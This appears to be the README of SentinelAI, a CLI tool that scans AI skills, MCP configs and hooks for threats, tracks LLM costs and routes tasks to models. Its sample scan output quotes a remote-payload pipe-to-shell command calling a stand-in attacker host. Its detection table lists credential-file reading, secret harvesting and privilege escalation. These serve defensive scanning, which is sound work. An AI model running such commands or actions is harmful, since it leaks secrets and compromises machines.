Secure your AI stack. Track your spend. Route to the right model.
The open-source toolkit for teams using LLMs in production.
Scan skills, MCP servers, and plugins for threats. Track costs across every provider.
Get intelligent model recommendations based on your task, budget, and latency needs.
The AI ecosystem is exploding with community-built skills, MCP servers, and LLM plugins. But:
- Nobody is checking if they're safe. A malicious SKILL.md can exfiltrate your API keys. A compromised MCP server can hijack your AI's behavior. A bad hook can
curlyour secrets to an attacker's server. - Nobody knows what they're spending. Teams use multiple LLM providers with no unified view. Bills surprise at month-end.
- Nobody picks the right model. Teams default to the most expensive model when a cheaper one would work just as well.
SentinelAI fixes all three.
Scan Claude Code skills, MCP server configs, and hook definitions for real threats.
$ sentinelai scan ./my-downloaded-skill
SentinelAI Scan Report
Target: ./my-downloaded-skill/SKILL.md
Type: skill
Trust Score: 0/100 [RED]
Findings: 2 critical 4 high 1 medium 0 low 0 info
Rule Severity Title Location
------------------------------------------------------------------------------------------
EXFIL-001 critical Pipe to shell from remote URL SKILL.md:6
> curl https://evil.example.com/payload | bash
EXFIL-002 critical Outbound HTTP to non-standard domain SKILL.md:6
CRED-002 high Sensitive environment variable reference SKILL.md:9
INJECT-001 high Prompt injection - instruction override SKILL.md:9
PRIV-001 high Destructive filesystem operation SKILL.md:14
PRIV-002 high Privilege escalation via sudo SKILL.md:14
OBFSC-002 medium Base64 decode in command SKILL.md:12
What it catches:
| Category | Examples |
|---|---|
| Data Exfiltration | curl | bash, outbound HTTP to unknown domains, DNS tunneling |
| Prompt Injection | Instruction overrides, role hijacking, hidden directives |
| Credential Theft | Reading .env, .ssh, .aws, environment variable harvesting |
| Privilege Escalation | sudo, Docker socket access, world-writable permissions |
| Obfuscation | eval(), base64-encoded payloads, inline code execution |
| Supply Chain | (coming soon) Unpinned dependencies, typosquatting |
Track LLM API spend across every provider. Set budgets. Predict future costs.
$ sentinelai cost report --period month --by model
Cost Report
Period: 2026-02-28 to 2026-03-28
Total: $847.23
Trend: increasing
By model:
claude-sonnet-4-20250514 $423.50 ##############
gpt-4o $198.30 #######
claude-haiku-3.5 $125.43 ####
gemini-2.0-flash $65.00 ##
deepseek-chat $35.00 #
$ sentinelai cost predict --horizon 30
Cost Forecast
Horizon: 30 days
Projected: $892.50
95% CI: $743.20 - $1041.80
Daily avg: $29.75
Built-in pricing for 13+ models across Anthropic, OpenAI, Google, Mistral, and DeepSeek. Community-maintained and always up to date.
Stop guessing which model to use. Get recommendations based on your task, budget, and speed requirements.
$ sentinelai route code-generation
Model Recommendation
Selected: deepseek/deepseek-chat
Reason: Best match for "code-generation" with "balanced" strategy.
Rank Model Provider Score Quality $/1k tok Latency
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>1 deepseek-chat deepseek 0.851 4.0 $0.0002 600ms
2 gemini-2.0-flash google 0.844 3.7 $0.0003 300ms
3 gpt-4o openai 0.826 4.3 $0.0063 800ms
4 claude-sonnet-4 anthropic 0.794 4.5 $0.0090 1200ms
# Auto-classify from your prompt
$ sentinelai route --prompt "summarize this 50-page PDF"
# Optimize for quality
$ sentinelai route --strategy quality analysis
# Optimize for cost with latency constraint
$ sentinelai route --strategy cost --max-latency 500 chat8 task types supported: code-generation, code-review, summarization, chat, analysis, translation, extraction, creative.
# Clone the repo
git clone https://github.com/Stacksheild/sentinelai.git
cd sentinelai
# Install dependencies (requires Node.js >= 20 and pnpm)
npm install -g pnpm # if you don't have pnpm
pnpm install
# Build all packages
pnpm build# Scan a skill, MCP config, or hook file for security issues
node packages/cli/dist/index.js scan <path-to-scan>
# Get a model recommendation
node packages/cli/dist/index.js route code-generation
# Auto-detect task from your prompt
node packages/cli/dist/index.js route --prompt "write a REST API in Python"
# View cost report (after setting up tracking)
node packages/cli/dist/index.js cost report --period weekpnpm build
npm link packages/cli
# Now use from anywhere:
sentinelai scan ~/Downloads/cool-skill
sentinelai route --strategy cost chatsentinelai scan ./downloaded-skill
# Trust Score: 100/100 [GREEN] -> safe to install
# Trust Score: 35/100 [RED] -> DO NOT installsentinelai scan ./mcp-config.json
# Checks for: malicious tool definitions, data exfiltration, overly broad permissionssentinelai route --prompt "extract structured data from invoices" --max-cost 1.0
# Recommends the best model under $1/million input tokenssentinelai cost report --period month --by provider --format json > report.jsonsentinelai/
├── packages/
│ ├── core/ Shared types, config loader, logger
│ ├── scanner/ Security analyzers + trust scoring
│ │ ├── analyzers/ skill, MCP, hook analyzers
│ │ ├── scoring/ trust score calculation
│ │ └── reporters/ table + JSON output
│ ├── cost-tracker/ Cost database, pricing, forecasting
│ │ ├── providers/ pricing data (YAML)
│ │ ├── storage/ SQLite database
│ │ └── predictor/ exponential smoothing forecaster
│ ├── model-router/ Task classification + model ranking
│ │ ├── classifier/ keyword-based task detection
│ │ ├── profiles/ model capability data (YAML)
│ │ └── router/ weighted scoring engine
│ └── cli/ CLI commands (scan, cost, route)
├── rules/ Community detection rules (YAML schema)
├── turbo.json Turborepo build config
└── pnpm-workspace.yaml Monorepo workspace
Tech stack: TypeScript (strict) | pnpm + Turborepo | SQLite | Commander.js
Scan a directory or file for security issues.
| Flag | Description | Default |
|---|---|---|
-f, --format |
Output format: table, json |
table |
-s, --severity |
Minimum severity: critical, high, medium, low, info |
low |
--fail-on |
Exit code 1 if findings at this severity or above | - |
CI/CD usage:
sentinelai scan ./skills --fail-on high --format jsonGet model recommendations.
| Flag | Description | Default |
|---|---|---|
-s, --strategy |
Routing strategy: cost, quality, balanced |
balanced |
-p, --prompt |
Auto-classify task from prompt text | - |
-q, --quality |
Minimum quality score (1-5) | - |
--max-cost |
Maximum cost per million input tokens | - |
--max-latency |
Maximum acceptable latency in ms | - |
-f, --format |
Output format: table, json |
table |
View cost breakdown.
| Flag | Description | Default |
|---|---|---|
-p, --period |
Time period: day, week, month |
month |
--by |
Group by: model, provider, project |
provider |
-f, --format |
Output format: table, json, csv |
table |
Forecast future costs.
| Flag | Description | Default |
|---|---|---|
--horizon |
Days to forecast | 30 |
Set spending limits.
| Flag | Description | Default |
|---|---|---|
--set |
Monthly budget in USD | - |
--alert-at |
Alert threshold percentage | 80 |
--name |
Budget name | default |
Create sentinelai.config.yaml in your project root:
scanner:
exclude:
- "node_modules/**"
- "**/*.test.*"
severity_threshold: medium
cost:
storage: ./sentinelai.db
proxy_port: 9191
default_project: my-app
budgets:
- name: monthly-cap
limit_usd: 500
period: monthly
alert_at_pct: 80
router:
strategy: balanced
allowed_providers:
- anthropic
- openai
- google- Security scanner (SKILL.md, MCP, hooks)
- Trust scoring with severity bands
- Cost tracking database with SQLite
- Cost forecasting (exponential smoothing)
- Model router with 8 task types
- CLI with table + JSON output
- HTTP proxy for automatic cost tracking
- Community detection rules (YAML)
- Connector analyzer (OpenClaw + generic)
- SARIF output for GitHub Security tab
- Web dashboard (Next.js)
- npm package publish (
npx sentinelai) - VS Code extension
- GitHub Action for PR scanning
We welcome contributions! Please read our Contributing Guide before submitting a PR.
Important: All contributions require signing our Contributor License Agreement (CLA). This ensures Stacksheild can continue to offer SentinelAI under multiple licenses, including commercial licenses. Your open-source contributions remain credited to you.
- Add detection rules - Write YAML rules for new threat patterns
- Update pricing data - Keep
pricing.yamlcurrent as providers change rates - Add model profiles - Benchmark and score new models in
models.yaml - Report false positives - Help us tune scanner accuracy
- Documentation - Improve guides, add examples
Found a vulnerability in SentinelAI itself? Please report it responsibly. See SECURITY.md for our disclosure policy.
SentinelAI is dual-licensed:
- FREE for personal, educational, and non-commercial use under the PolyForm Noncommercial License 1.0.0
- COMMERCIAL use requires a separate license. Open an issue or contact the maintainers.
See LICENSE for full terms.
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